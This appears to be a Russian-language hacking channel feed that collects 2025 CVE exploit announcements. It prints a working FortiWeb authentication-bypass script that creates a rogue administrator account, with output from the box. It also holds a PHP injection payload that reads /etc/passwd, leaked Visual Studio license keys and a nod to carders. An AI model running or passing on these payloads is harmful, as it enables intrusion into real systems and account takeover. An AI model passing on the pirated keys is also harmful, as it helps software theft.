Proxy Bar

CVE-2025-59118: Critical Apache OFBiz
*
RCE
*
Full Server Compromise

CVE-2025-64446 FortiWeb Unauthenticated RCE via Path Traversal and CGI Auth Bypass
*
Ну то есть исходя из ЭТОГО
можно получить такое:

python3 - <<'PY'
import base64, json, subprocess
header = base64.b64encode(json.dumps({
        "username": "admin",
        "profname": "prof_admin",
        "vdom": "root",
        "loginname": "admin"
}).encode()).decode()

payload = json.dumps({
    "data": {
        "q_type": 1,
        "name": "note2",
        "access-profile": "prof_admin",
        "password": "note2",
        "comment": "automated RCE"
    }
})

cmd = [
    "curl", "--path-as-is", "-sk",
    "-H", f"CGIINFO: {header}",
    "-H", "Content-Type: application/json",
    "--data", payload,
    "https://localhost:38443/api/v2.0/cmdb/system/admin%3f/../../../cgi-bin/fwbcgi"
]
print(subprocess.run(cmd, capture_output=True, text=True).stdout)
PY

Output from the box:

{ "results": { "name": "note2", "access-profile": "prof_admin", ... } }

То есть просто получаем нового админа

CVE-2025-12101 + CVE-2025-21202
*
Citrix NetScaler ADC and Citrix NetScaler Gateway
*
exploit +xss tool

CVE-2025-33073
*
POC я уже публиковал, а тут универсалочка подъехала.

Universal exploit

#win #DC #controller

Fortinet FortiWeb
*
auth bypass vuln
*
check vuln

CVE-2025-10230 (CVSS 10) ну это успех
*
Несанкционированные NetBIOS имена регистрационных пакетов WINS передаются в оболочку без экранирования
Неаутентифицированный сетевой злоумышленник выполняет RCE в качестве процесса Samba на контроллерах домена Active Directory.

вдруг вам надо
PE-XRay-EDR

CVE-2025-26686
*
RCE in Windows 10/11/Srv
*
The-TCP-IP-Flaw-That-Opens-the-Gates

CVE-2025-60710
*
LPE в \Microsoft\Windows\WindowsAI\Recall\PolicyConfiguration scheduled task.
*
POC


#win #lpe

Видишь на сайте выбор Language, не поленись !
Language={${system("cat+/etc/passwd")}}

Visual Studio 2026 is here
Keys:

Professional: NVTDK-QB8J9-M28GR-92BPC-BTHXK
Enterprise: VYGRN-WPR22-HG4X3-692BF-QGT2V

ясно

CVE-2025-61932
*
Lanscope Endpoint Manager - Remote Code Execution [Zero-Day]
*
POC

Конференция по кибербезопасности ZeroNights 2025 публикуют доклады! Ловите описания выступлений с Offensive и SecOps Track’ов.
Приходи $USERNAME (лучше в мерче прошлых лет)


#zeronight #hackers #party

CVE-2025-64495
*
Open WebUI Stored DOM XSS Vuln

POC

CARDERS !!!

hackers to escape Docker containers
CVE-2025-31133
CVE-2025-52565
CVE-2025-52881

#docker

CVE-2025-6554
*
Google Chrome Zero-Day